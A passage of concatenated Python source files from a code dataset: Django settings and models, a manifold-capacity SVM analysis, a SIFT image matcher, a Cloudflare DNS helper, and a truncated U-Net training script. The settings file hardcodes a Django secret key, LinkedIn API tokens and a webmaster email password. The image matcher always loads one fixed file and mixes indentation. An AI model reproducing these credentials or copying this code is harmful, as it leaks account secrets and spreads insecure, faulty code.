'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'zd=#_5%6bthx=8bs-@v#c-%4185cq1g&ah4@8-f*&01&sd53-5'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n #'userena.middleware.UserenaLocaleMiddleware',\n 'pagination.middleware.PaginationMiddleware',\n)\nif DEBUG == False:\n MIDDLEWARE_CLASSES += (\n 'sview.supplierviewmiddleware.SupplierViewMiddleware',\n)\n\nROOT_URLCONF = 'sview.urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(ROOT_PATH, \"templates\"),\n)\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.core.context_processors.request\",\n)\n\nACCOUNT_ACTIVATION_DAYS = 7\nDEFAULT_FROM_EMAIL = \"signup@%s\" % DOMAIN\n\nAUTHENTICATION_BACKENDS = (\n #'userena.backends.UserenaAuthenticationBackend',\n #'guardian.backends.ObjectPermissionBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\nAUTH_PROFILE_MODULE = \"profile.UserProfile\" \n#ANONYMOUS_USER_ID = -1\n#MEDIA_PATH = os.path.join(ROOT_PATH, \"user_media/mugshots\")\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n # Uncomment the next line to enable the admin:\n 'django.contrib.admin',\n # Uncomment the next line to enable admin documentation:\n # 'django.contrib.admindocs',\n \"django_extensions\",\n \"taggit\", \n \"south\",\n #\"userena\", \n #\"guardian\",\n #\"easy_thumbnails\",\n \"cachetree\",\n\n 'indexer',\n 'paging',\n \"sentry\", \n \"raven.contrib.django\",\n \"djcelery\",\n \"haystack\",\n \"pagination\",\n \"sview.registration\",\n \"sview.location\",\n \"sview.supplier\",\n \"sview.survey\",\n \"sview.profile\",\n \"sview.company\",\n \"sview.feeds\",\n \"sview.home\",\n)\n\nif DEBUG:\n INSTALLED_APPS += (\n \"debug_toolbar\",\n )\n MIDDLEWARE_CLASSES += ( \n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n )\n INTERNAL_IPS = ('127.0.0.1',)\n DEBUG_TOOLBAR_PANELS = (\n 'debug_toolbar.panels.version.VersionDebugPanel',\n 'debug_toolbar.panels.timer.TimerDebugPanel',\n 'debug_toolbar.panels.settings_vars.SettingsVarsDebugPanel',\n 'debug_toolbar.panels.headers.HeaderDebugPanel',\n 'debug_toolbar.panels.request_vars.RequestVarsDebugPanel',\n 'debug_toolbar.panels.template.TemplateDebugPanel',\n 'debug_toolbar.panels.sql.SQLDebugPanel',\n 'debug_toolbar.panels.signals.SignalDebugPanel',\n 'debug_toolbar.panels.logger.LoggingPanel',\n )\n def custom_show_toolbar(request):\n return True # Always show toolbar, for example purposes only.\n\n DEBUG_TOOLBAR_CONFIG = {\n 'INTERCEPT_REDIRECTS': False,\n 'HIDE_DJANGO_SQL': False,\n 'SHOW_TOOLBAR_CALLBACK': custom_show_toolbar,\n 'TAG': 'div',\n }\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': True,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(pathname)s:L%(lineno)d %(message)s'\n #'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n },\n 'root': {\n 'level':'INFO', # CHANGE TO DEFAULT_LEVEL\n 'handlers':['file', ],\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler',\n 'formatter': 'verbose'\n },\n 'file': {\n 'level': 'INFO',\n 'class': 'logging.FileHandler',\n 'formatter': 'verbose',\n 'filename': os.path.join(ROOT_PATH, 'debug_log')\n },\n 'sentry': {\n 'level': 'DEBUG',\n 'class': 'raven.contrib.django.handlers.SentryHandler',\n 'formatter': 'verbose'\n },\n },\n 'loggers': {\n 'sentry': {\n 'handlers': ['sentry', 'mail_admins'],\n 'level': 'DEBUG',\n 'propagate': True,\n }\n }\n}\nif DEBUG:\n LOGGING['loggers']['sentry']['handlers'] = ['sentry', 'file',]\n LOGGING['loggers']['sentry']['level'] = 'DEBUG'\n\n#CELERY CONFIGURATION\nimport djcelery\ndjcelery.setup_loader()\nBROKER_TRANSPORT = \"redis\"\nBROKER_HOST = \"localhost\" # Maps to redis host.\nBROKER_PORT = 6379 # Maps to redis port.\n\n##OVERRIDE IN LOCAL SETTINGS \n#BROKER_VHOST = \"7\" # Maps to database number.\n\nfrom datetime import timedelta\nfrom celery.schedules import crontab\nCELERYBEAT_SCHEDULE = {\n \"fetch-google-news-every-30-mins\": {\n \"task\": \"sview.supplier.tasks.fetch_news\",\n \"schedule\": crontab(minute=\"*/30\"),\n },\n \"runs-every-10-minutes\": {\n \"task\": \"sview.supplier.tasks.fetch_feeds\",\n \"schedule\": crontab(minute=\"*/10\"),\n \"kwargs\": {'google': False}\n },\n \"commits-to-solr-every-10-minutes\": {\n \"task\": \"sview.supplier.tasks.commit_solr\",\n \"schedule\": crontab(minute=\"*/5\"),\n },\n \"update_index_every_hour\": {\n \"task\": \"sview.supplier.tasks.update_index\",\n \"schedule\": crontab(hour=\"*\", minute=1),\n \"kwargs\": {'google': False}\n },\n \"runs-every-night\": {\n \"task\": \"sview.supplier.tasks.nightly_feeds\",\n \"schedule\": crontab(hour=4, minute=0),\n \"kwargs\": {'google': False}\n },\n \"runs-every-night-cleanupregistration\": {\n \"task\": \"sview.profile.tasks.cleanupregistration\",\n \"schedule\": crontab(minute=35, hour=3),\n },\n}\n\n##OVERRIDE IN LOCAL SETTINGS \n##REDIS CACHE SETTINGS##\n# CACHES = {\n# 'default': {\n# 'BACKEND': 'redis_cache.RedisCache',\n# 'LOCATION': '127.0.0.1:6379',\n# 'OPTIONS': { # optional\n# 'DB': 6,\n# },\n# }\n# }\n\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.cached_db\"\n\nLINKEDIN_API_KEY = \"ieztrvk7d24a\" \nLINKEDIN_API_SECRET = \"ikR46qrstSFEkI0g\" \nDEFAULT_LINKEDIN_OAUTH_TOKEN = \"59c29412-cbe3-41ce-a98d-78e90b63a36a\"\nDEFAULT_LINKEDIN_OAUTH_SECRET = \"a64432a0-3f18-453b-ae60-def4116300b5\"\n\n#MOVED TO LOCAL_SETTINGS\n#COMPANY ONLY REGISTATION\n# BAD_DOMAINS = ['aim.com', 'aol.com', 'email.com', 'gmail.com',\n# 'googlemail.com', 'hotmail.com', 'hushmail.com',\n# 'msn.com', 'mail.ru', 'mailinator.com', 'live.com',\n# 'yahoo.com']\n\n##DEFINED IN LOCAL SETTINGS\n# HAYSTACK_CONNECTIONS = {\n# 'default': {\n# # For Solr:\n# 'ENGINE': 'haystack.backends.solr_backend.SolrEngine',\n# 'URL': 'http://localhost:8080/solr/core1/', #this is for a solr multicore setup - change accordingly\n# 'TIMEOUT': 60 * 5,\n# },\n# }\n\n#YAHOO PIPE FOR COMPANY INFO\nYAHOO_PIPE_URL = \"http://pipes.yahoo.com/pipes/pipe.run?_id=30338e76805ca1c98525b00f7520415d&company=%s&_render=json&_callback=Cn\"\n\n\n##Google apps webmaster email\nGOOGLE_APPS_WEBMASTER_EMAIL = \"webmaster@supplierview.com\"\nGOOGLE_APPS_WEBMASTER_PASSWORD = \"M*yPnU2N\"\n\n\n","sub_path":"sview/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":12017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18845163","text":"import numpy as np\nimport warnings\n\nfrom cvxopt import solvers, matrix\n\n\ndef manifold_simcap_analysis(XtotT, n_rep, seed=0):\n '''\n Computes the simulation capacity of the given data\n\n Args:\n XtotT: Sequence of 2D arrays of shape (N, P_i) where N is the dimensionality\n of the space, and P_i is the number of sampled points for the i_th manifold.\n n_rep: Number of random draws to try at each feature dimension\n seed: Random seed\n\n Returns:\n asim: Simulation capacity\n P: Number of objects in XtotT\n Nc0: Number of features to separate with 0.5 chance\n N_vec: Values of N used in bisection search\n p_vec: Fraction of separable trials at each value of N\n '''\n # Get the number of objects and the total number of features\n P, N = len(XtotT), XtotT[0].shape[0]\n # Concatenate all the data and compute the global mean\n Xori = np.concatenate(XtotT, axis=1)\n global_mean = np.mean(Xori, axis=1, keepdims=True)\n # Subtract the global mean\n Xtot0 = [x - global_mean for x in XtotT]\n # Find the number of features for separability with 0.5 chance\n Nc, N_vec, p_vec = bisection_Nc_general(Xtot0, n_rep, 2, N, 0.05, seed)\n # Check if there was a solution, if so interpolate betweeen the boundaries for the capacity\n if Nc is np.nan:\n asim0 = np.nan\n Nc0 = np.nan\n else:\n # Find the boundary points\n below = np.max([i for i, p in enumerate(p_vec) if p < 0.5])\n above = np.min([i for i, p in enumerate(p_vec) if p >= 0.5])\n bounds = [below, above]\n # Interpolate between the bounds for the number of features where p=0.5\n N_vals = [N_vec[i] for i in bounds]\n p_vals = [p_vec[i] for i in bounds]\n Nc0 = np.interp(0.5, p_vals, N_vals)\n asim0 = P/Nc0\n return asim0, P, Nc0, N_vec, p_vec\n\n\ndef bisection_Nc_general(Xtot, n_rep, Nmin, Nmax, p_tol, seed, verbose=False):\n '''\n Performs a bisection search for the number of features such that the probability that the data\n is linearly separable is 0.5. Implements the flag_n = 2 case from the original matlab code.\n\n Args:\n Xtot: Sequence of 2D arrays of shape (N, P_i) where N is the dimensionality\n of the space, and P_i is the number of sampled points for the i_th manifold.\n n_rep: Number of random draws to try at each feature number N\n Nmin: Minimum number of features to try\n Nmax: Maximum number of features to try\n p_tol:\n seed: Random seed\n\n Returns:\n Ncur: Number of features at the end of the bisection search\n Nall_vec: Every value of N tried during the search\n pall_vec: Computed separation probability at each value of N\n '''\n # Get the number of input objects\n P = len(Xtot)\n # Configure the separability check\n def create_f_pdiff(Xtot, n_rep, seed):\n def f_pdiff(N):\n return compute_sep_Nc_general(Xtot, N, n_rep=n_rep, seed=seed) - 0.5\n return f_pdiff\n f_pdiff = create_f_pdiff(Xtot, n_rep, seed)\n # Initialize the bisection search\n fmin = f_pdiff(Nmin)\n fmax = f_pdiff(Nmax)\n pmin_vec = [fmin + 0.5]\n pmax_vec = [fmax + 0.5]\n Nmin_vec = [Nmin]\n Nmax_vec = [Nmax]\n Ncur = int((Nmin + Nmax)/2 + 0.5)\n\n # Check that there is something to search over\n if pmax_vec[0] == 0:\n warnings.warn(\"Maximum N gives zero separability. Need more neurons.\")\n Ncur = np.nan\n Nall_vec = np.nan\n pall_vec = np.nan\n\n # Check that the target value is between the max and the min\n if fmin * fmax > 0:\n warnings.warn(\"Wrong choice of Nmin and Nmax\")\n Ncur = np.nan\n Nall_vec = np.nan\n pall_vec = np.nan\n\n # If there is something to seach over, do the bisection search\n if Ncur is not np.nan:\n # Check separability at this N\n fcur = f_pdiff(Ncur)\n # Set up ending conditions for the search\n err = np.abs(fcur)\n kk = 0\n dN = 1000\n # Search for the target value of Ncur\n Ncur_vec = []\n pcur_vec = []\n while err > p_tol and dN > 1 and kk < 100:\n kk += 1\n if verbose:\n print(\"{}th bisection run, P={}, Ncur={}, Nmin={}, pmin={}, Nmax={}, pmax={}\".format(kk, P, Ncur, Nmin, fmin + 0.5, Nmax, fmax + 0.5))\n # Check that the target value is between the max and the current N value\n # Adjust the bounds of the search appropriately\n if fmin * fcur < 0:\n Nmax = Ncur\n fmax = fcur\n else:\n Nmin = Ncur\n fmin = fcur\n # Store results of this step\n pmin_vec.append(fmin + 0.5)\n pmax_vec.append(fmax + 0.5)\n Nmin_vec.append(Nmin)\n Nmax_vec.append(Nmax)\n # Get the next N to check\n Ncur = int((Nmin + Nmax)/2 + 0.5)\n fcur = f_pdiff(Ncur)\n err = np.abs(fcur)\n if verbose:\n print(\"err={}, p_tol={}\".format(err, p_tol))\n dN = Nmax - Nmin\n Ncur_vec.append(Ncur)\n pcur_vec.append(fcur + 0.5)\n\n # Get the final quantities\n combined_quantities = [(n, pcur_vec[i]) for i, n in enumerate(Ncur_vec)]\n combined_quantities += [(n, pmin_vec[i]) for i, n in enumerate(Nmin_vec)]\n combined_quantities += [(n, pmax_vec[i]) for i, n in enumerate(Nmax_vec)]\n sorted_quantities = sorted(combined_quantities, key=lambda x: x[0])\n Nall_vec = [q[0] for q in sorted_quantities]\n pall_vec = [q[1] for q in sorted_quantities]\n return Ncur, Nall_vec, pall_vec\n\n\ndef compute_sep_Nc_general(Xtot, N_cur, n_rep, seed, reduced=False):\n '''\n Computes the separability of the input data using N_cur features. Only implements the\n flag_n = 2 case from the original matlab code.\n\n Args:\n Xtot: Sequence of 2D arrays of shape (N, P_i) where N is the dimensionality\n of the space, and P_i is the number of sampled points for the i_th manifold.\n N_cur: Number of features to use when checking linear separability\n n_rep: Number of random label assignments to try\n seed: Random seed\n reduced: Optionally use a smaller number of repetitions for large numbers of features.\n\n Returns\n p_conv: Fraction of the n_rep runs that were separable\n '''\n # Set the random seed\n np.random.seed(seed=seed)\n # Get the number of manifolds and dimensionality of data\n P, N = len(Xtot), Xtot[0].shape[0]\n # Use a smaller number of runs if the current number of features is high\n if N_cur > 1500 and reduced:\n n_rep = 5\n # Pick P/2 random objects to assign a positive label to for each repetition\n indpAll = [np.random.choice(range(P), size=P//2, replace=False) for i in range(n_rep)]\n # For each repetition, compute the separability of the randomly labeled data\n sep_vec = []\n for i in range(n_rep):\n # Create the label array\n indp = indpAll[i]\n labels00 = - np.ones((P))\n labels00[indp] = 1\n # Create a (normalized) random projection from N dimensions to N_cur dimensions\n try:\n W = np.random.randn(N, N_cur)\n W = W / np.sqrt(np.sum(np.square(W), axis=0, keepdims=True))\n # Project the data for each manifold into the lower dimensional space\n Xsub = [np.matmul(W.T, X) for X in Xtot]\n # Check separability in this subspace\n sep0, w0, bias0, margin0 = check_data_separability_general(Xsub, labels00)\n sep_vec.append(sep0)\n except ValueError as e:\n warnings.warn('Could not find solution')\n sep_vec.append(False)\n p_conv = np.mean(sep_vec)\n return p_conv\n\n\ndef check_data_separability_general(X, labels):\n '''\n Checks if a dichotomy of X given by labels is linearly separable.\n\n Args:\n X: Sequence of 2D arrays of shape (N, P_i) where N is the dimensionality\n of the space, and P_i is the number of sampled points for the i_th manifold.\n labels: Labels (+1 or -1). Should be a 1D array of shape (P) where P is number of manifolds.\n\n Returns:\n sep: Whether or not the dichotomy is linearly separable\n w: Weights of the optimal hyperplane\n bias: Bias for the separating plane\n margin: Size of margin\n '''\n # Get the indicies of the positive and negative labels\n pos = [i for i, l in enumerate(labels) if l == 1]\n neg = [i for i, l in enumerate(labels) if l == -1]\n # Get the number of classes and feature dimensin\n P, N = len(X), X[0].shape[0]\n # Combine the data and labels\n X_tot = np.concatenate(X, axis=1)\n y_tot = np.concatenate([labels[i] * np.ones(x.shape[1]) for i, x in enumerate(X)])\n y_tot = y_tot.reshape(1, -1)\n assert X_tot.shape[1] == y_tot.shape[1]\n\n # Initialize weights and biases to zero\n w_ini = np.zeros((N, 1))\n bias_ini = 0\n # Set margin to zero\n kappa = 0\n # Set tolerance for solver\n tolerance = 1e-8\n # Find the optimal hyperplane\n sep, w, margin, flag, u, bias = find_svm_sep_primal_wb(X_tot, y_tot, w_ini, kappa=kappa, tolerance=tolerance, flag_wb=1)\n return sep, w, bias, margin\n\n\ndef find_svm_sep_primal_wb(X, y, w_ini, kappa=0, tolerance=1e-8, flag_wb=1):\n '''\n Finds the optimal separating hyperplane for data X given the dichotomy specified by y.\n The plane is defined by the vector w and is found by minimizing\n 1/2 * w.T * w\n Subject to the constraint\n y * (x.T * w + b) >= 1\n For all data points, and an optional bias b.\n\n Args:\n X: Data matrix of shape (N, M) where N is the number of features, and M is the number of data points.\n y: Matrix of shape (1, M) containing the label for each of the M data points. Labels must be +1 or -1\n flag_wb: Option to include a bias. Uses a bias if set to 1.\n\n Returns:\n sep: Whether or not the dichotomy is linearly separable\n w: Weights of the optimal hyperplane\n margin: Size of margin\n flag: Not used.\n u: Unormalized weights of the optimal hyperplane\n bias: Bias for the separating plane\n '''\n # Configure the solver\n solvers.options['show_progress'] = False\n solvers.options['maxiters'] = 1000000\n solvers.options['feastol'] = tolerance\n solvers.options['abstol'] = tolerance\n solvers.options['reltol'] = tolerance\n\n # Get the shape of X\n M, N = X.shape[1], X.shape[0]\n # Verify there are the right number of labels and that they are +/- 1\n assert M == y.shape[1]\n assert all([np.abs(l[0]) == 1 for l in y])\n\n # Optionally add a constant component to X, otherwise plane is constrained to pass through the origin\n if flag_wb == 1:\n offset = np.ones((1, M))\n else:\n offset = np.zeros((1, M))\n Xb = np.concatenate([X, offset], axis=0)\n\n # Construct the input to the solver\n # Want to minimize 1/2 * w.T * P * w subject to the constrant that -y * X.T * w <= -1\n # P ignores the component of w that corresponds to offset, the constraint does not.\n\n # P should be identity with the final component set to zero\n P = np.identity(N + 1)\n P[-1, -1] = 0\n P = matrix(P)\n\n # q should be zero, (no term like q.T * w)\n q = np.zeros(N + 1)\n q = matrix(q)\n\n # Specify the constraint. Ab is -y * X.T, bb is a vector of -1s\n Ab = - y * Xb # (N, M)\n Ab = matrix(Ab.T) # (M, N)\n bb = - np.ones(M)\n bb = matrix(bb)\n\n # Solve using cvxopt\n output = solvers.qp(P, q, Ab, bb)\n ub = np.array(output['x'])\n # Separate the bias\n u = ub[0:-1, 0]\n b = ub[-1, 0]\n # Normalize the outputs\n u_norm = np.linalg.norm(u)\n b /= u_norm\n w = u/u_norm\n # Compute the margin\n Pr = (np.matmul(w.T, X) + b)/np.linalg.norm(w.T)\n margin = np.min(y * Pr )\n # Check seperability\n seperable = np.all(np.sign(Pr) == y)\n return seperable, w, margin, 1, u, b\n\n\ndef run_mftma_simcap(layer_data,par=10):\n mfmta_data_ = {'mftma_results': []}\n # run mftma on all layers and hierarchies\n mftmas_cell = []\n for hier_id, activ_hier in enumerate(layer_data):\n data_ = {'a_sim': [],'P': [],'Nc0': [],'N_vec': [],\n 'p_vec': [],\n 'layer': [],'n_hier_class': [],'hierarchy': hier_id}\n a_sim = []\n P = []\n Nc0 = []\n N_vec = []\n p_vec=[]\n for k, X, in activ_hier.items():\n data_['layer'] = k\n data_['n_hier_class'] = len(X)\n # Analyze each layer's activations\n try:\n a_sim0, P0, Nc00, N_vec0, p_vec0 = manifold_simcap_analysis(X, par)\n # Compute the mean values\n print(\"{} a_sim: {:4f}, P {:4f}, Nc0 {:4f}, N_vec {:4f}\".format(a_sim0, P0, Nc00, N_vec0))\n except :\n\n a_sim0 = np.nan\n P0 = np.nan\n Nc00 = np.nan\n p_vec0 = np.nan\n # Store for later\n a_sim.append(a_sim0)\n P.append(P0)\n Nc0.append(Nc00)\n N_vec.append(N_vec0)\n p_vec.append(p_vec0)\n # combine the results\n data_['a_sim'] = a_sim\n data_['P'] = P\n data_['Nc0'] = Nc0\n data_['N_vec'] = N_vec\n data_['p_vec'] = p_vec\n mftmas_cell.append(data_)\n return mftmas_cell","sub_path":"utils/capacity_utils.py","file_name":"capacity_utils.py","file_ext":"py","file_size_in_byte":13472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139358930","text":"#!/home/dmer/.pyenv/versions/env3/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\n'''\r\n---------------------------------------------------------------------------\r\nFile Name: image_match_brute.py\r\nDescription: \r\n\t\t\t 目标: 蛮力匹配\r\nVariables: None\r\nAuthor: \r\nChange Activity: First coding on 2018/6/8\r\n---------------------------------------------------------------------------\r\n'''\r\nimport os\r\nimport math\r\nimport sys\r\nimport timeit\r\nimport numpy as np\r\nimport pandas as pd\r\nimport cv2\r\n\r\nsys.path.append(\"/home/dmer/models/pub\")\r\nimport mysql_conn as ms\r\n\r\nsrc_folder = \"/data/image_query/news_video_company/website/comdir\"\r\nlib_folder = \"/data/image_file/creative_raw/creative/download/20180601/image/jrtt\"\r\nrst_folder = \"/data/image_file/siftmatch_rst\"\r\npm_t = 0.6\r\nnm_t = 3\r\n\r\nif __name__ == '__main__':\r\n\r\n sift = cv2.xfeatures2d.SIFT_create()\r\n for fnsrc in os.listdir(src_folder):\r\n if fnsrc.split('.')[-1].upper() in (\"JPG\", \"JPEG\", \"PNG\", \"BMP\", \"GIF\"):\r\n fns = src_folder + '/' + fnsrc\r\n print('searching for: ', fns)\r\n img1 = cv2.imdecode(np.fromfile(fns, dtype=np.uint8), -1)\r\n kp1, des1 = sift.detectAndCompute(img1, None)\r\n\r\n for fnlib in os.listdir(lib_folder):\r\n if fnlib.split('.')[-1].upper() in (\"JPG\", \"JPEG\", \"PNG\", \"BMP\", \"GIF\"):\r\n fng = lib_folder + '/e62041927c5033bf0c3ffe84de07e4d5.jpeg'\r\n img2 = cv2.imdecode(np.fromfile(fng, dtype=np.uint8), -1)\r\n kp2, des2 = sift.detectAndCompute(img2, None)\r\n minkpnum = min(len(kp1), len(kp2))\r\n if minkpnum > 20: \r\n\t # 蛮力匹配算法,有两个参数，距离度量(L2(default),L1)，是否交叉匹配(默认false)\r\n\t bf = cv2.BFMatcher()\r\n\t matches = bf.knnMatch(des1, des2, k=2)\r\n\t # print(type(matches))\r\n\t # print(matches)\r\n\t # print(len(matches))\r\n\t # exit()\r\n\t if len(matches) * nm_t < minkpnum:\r\n\t \tcontinue\r\n\r\n\t # cv2.drawMatchesKnn expects list of lists as matches.\r\n\t # opencv3.0有drawMatchesKnn函数\r\n\t # Apply ratio test\r\n\t # 比值测试，首先获取与A 距离最近的点B（最近）和C（次近），只有当B/C\r\n\t # 小于阈值时（0.75）才被认为是匹配，因为假设匹配是一一对应的，真正的匹配的理想距离为0\r\n\t good = []\r\n\t for m, n in matches:\r\n\t if m.distance < pm_t * n.distance:\r\n\t print('ddist: ', m.distance/n.distance)\r\n\t good.append([m])\r\n\r\n\t if len(good) * nm_t > minkpnum: # 匹配识别阈值\r\n\t print('lengood: %d, minkpnum:%f ' % (len(good), min(len(kp1), len(kp2))))\r\n\t print('matched: ', fns, '---', fng)\r\n\t img3 = cv2.drawMatchesKnn(img1, kp1, img2, kp2, good[:int(len(good))], None, flags=2)\r\n\t cv2.imencode('.jpeg', img3)[1].tofile(rst_folder + '/' + fnsrc + '---' + fnlib)\r\n","sub_path":"image_retrieval_sift_nmslib/image_match_brute_1by1.py","file_name":"image_match_brute_1by1.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"388860728","text":"from requests import post as http_post\n\nfrom opwen_email_server.constants.cloudflare import DNS_URL\nfrom opwen_email_server.constants.sendgrid import MX_RECORD\nfrom opwen_email_server.utils.log import LogMixin\n\n\nclass SetupCloudflareMxRecords(LogMixin):\n def __init__(self, user: str, key: str, zone: str) -> None:\n self._user = user\n self._key = key\n self._zone = zone\n\n def __call__(self, domain: str) -> None:\n if not self._key:\n self.log_warning('No key, skipping MX setup for %s', domain)\n return\n\n client_name = domain.split('.')[0]\n\n http_post(\n url=DNS_URL.format(self._zone),\n json={\n 'type': 'MX',\n 'content': MX_RECORD,\n 'proxied': False,\n 'priority': 1,\n 'name': client_name,\n },\n headers={\n 'X-Auth-Key': self._key,\n 'X-Auth-Email': self._user,\n }\n ).raise_for_status()\n\n self.log_debug('Set up mx records for %s', domain)\n","sub_path":"opwen_email_server/services/cloudflare.py","file_name":"cloudflare.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"103519024","text":"from crum import get_current_user\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\n\nfrom .mod import audi\n# Create your models here.\n\nclass Autor(models.Model):\n nombre = models.CharField(max_length=100)\n telefono = models.PositiveBigIntegerField()\n def __str__(self):\n return self.nombre\n\n\nclass Canciones(models.Model):\n titulo = models.CharField(max_length=100)\n fechalanzamiento = models.DateTimeField(auto_now_add=True, null=True, blank=True)\n url= models.URLField(unique=True , null=True, blank=True)\n imagen = models.ImageField(upload_to='Caratulas', null=True, blank=True)\n\n\n def __str__(self):\n return self.titulo\n\n\nclass AutorCancion(models.Model):\n genero = [\n ('ROCK', 'ROCK'),\n ('POP', 'POP'),\n ('ALTERNATIVA', 'ALTERNATIVA'),\n ]\n autor = models.ForeignKey(Autor, on_delete=models.CASCADE, default='Undefinided')\n cancion = models.ForeignKey(Canciones, on_delete=models.CASCADE)\n genero = models.CharField(max_length=12, choices=genero, null=True, blank=True)\n def __str__(self):\n return '{} de {}'.format(self.cancion.titulo, self.autor.nombre)\n\n\n\n\nclass Lista(audi):\n cancionL= models.ForeignKey(AutorCancion, on_delete=models.CASCADE)\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n\n user = get_current_user()\n if user is not None:\n if not self.pk:\n self.usuariocreatedor = user\n else:\n self.usuariocreatedor = user\n\n super(Lista, self).save()\n\n","sub_path":"musiquita/Musica/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"386081224","text":"##########################\n# PREAMBLE #\n##########################\n\nimport os\nimport sys\nscript_dir = os.path.dirname(os.path.abspath(__file__))\nsys.path.insert(0, os.path.join(script_dir, '..'))\n\n# Limit the number of threads\nfrom util import limit_threads, set_seed, create_plots, store_history,\\\n TimeHistory, threshold_plots, save_img\nlimit_threads()\n\n# Try to generate the results as reproducible as possible\nset_seed(42)\n\n\n##########################\n# IMPORTS #\n##########################\n\nimport random\nimport numpy as np\nimport keras\nimport math\nimport time\nimport tensorflow as tf\nfrom data_manipulation import load_data, crop_data, merge_data_without_overlap,\\\n check_crops, crop_data_with_overlap,\\\n merge_data_with_overlap, check_binary_masks\nfrom data_3D_generators import VoxelDataGenerator\nfrom unet_3d import U_Net_3D\nfrom metrics import jaccard_index, jaccard_index_numpy, voc_calculation,\\\n DET_calculation\nfrom itertools import chain\nfrom skimage.io import imread, imshow, imread_collection, concatenate_images\nfrom skimage.morphology import label\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom keras.models import load_model\nfrom PIL import Image\nfrom tqdm import tqdm\nfrom smooth_tiled_predictions import predict_img_with_smooth_windowing, \\\n predict_img_with_overlap\nfrom skimage.segmentation import clear_border\n\n\n##########################\n# ARGS COMPROBATION #\n##########################\n\n# Take arguments\ngpu_selected = str(sys.argv[1]) \njob_id = str(sys.argv[2]) \ntest_id = str(sys.argv[3]) \njob_file = job_id + '_' + test_id \nbase_work_dir = str(sys.argv[4])\nlog_dir = os.path.join(base_work_dir, 'logs', job_id)\n\n# Checks\nprint(\"job_id : {}\".format(job_id))\nprint(\"GPU selected : {}\".format(gpu_selected))\nprint(\"Python : {}\".format(sys.version.split('\\n')[0]))\nprint(\"Numpy : {}\".format(np.__version__))\nprint(\"Keras : {}\".format(keras.__version__))\nprint(\"Tensorflow : {}\".format(tf.__version__))\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\";\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = gpu_selected;\n\n# Control variables \ncrops_made = False\n\n# Working dir\nos.chdir(base_work_dir)\n\n\n########################## \n# EXPERIMENT VARIABLES #\n##########################\n\n### Dataset variables\n# Main dataset data/mask paths\ndata_base_path = 'data'\ntrain_path = os.path.join(data_base_path, 'train', 'x')\ntrain_mask_path = os.path.join(data_base_path, 'train', 'y')\ntest_path = os.path.join(data_base_path, 'test', 'x')\ntest_mask_path = os.path.join(data_base_path, 'test', 'y')\n# Percentage of the training data used as validation \nperc_used_as_val = 0.1\n\n\n### Dataset shape\n# Note: train and test dimensions must be the same when training the network and\n# making the predictions. Be sure to take care of this if you are not going to\n# use \"crop_data()\" with the arg force_shape, as this function resolves the \n# problem creating always crops of the same dimension\nimg_train_shape = (1024, 768, 1)\nimg_test_shape = (1024, 768, 1)\n\n\n### 3D volume variables\n# Shape of the 3D subvolumes \nimg_3d_desired_shape = (80, 256, 256, 1)\n# Flag to use all the images to create the 3D subvolumes. If it is False random\n# subvolumes from the whole data will be generated instead.\nuse_all_volume = True\n\n\n### Normalization\n# Flag to normalize the data dividing by the mean pixel value\nnormalize_data = False \n# Force the normalization value to the given number instead of the mean pixel \n# value\nnorm_value_forced = -1 \n\n\n### Data augmentation (DA) variables\n# Flag to activate DA\nda = False\n# Flag to shuffle the training data on every epoch \nshuffle_train_data_each_epoch = False\n# Flag to shuffle the validation data on every epoch\nshuffle_val_data_each_epoch = False\n# Shift range to appply to the subvolumes \nshift_range = 0.0\n# Range of rotation to the subvolumes\nrotation_range 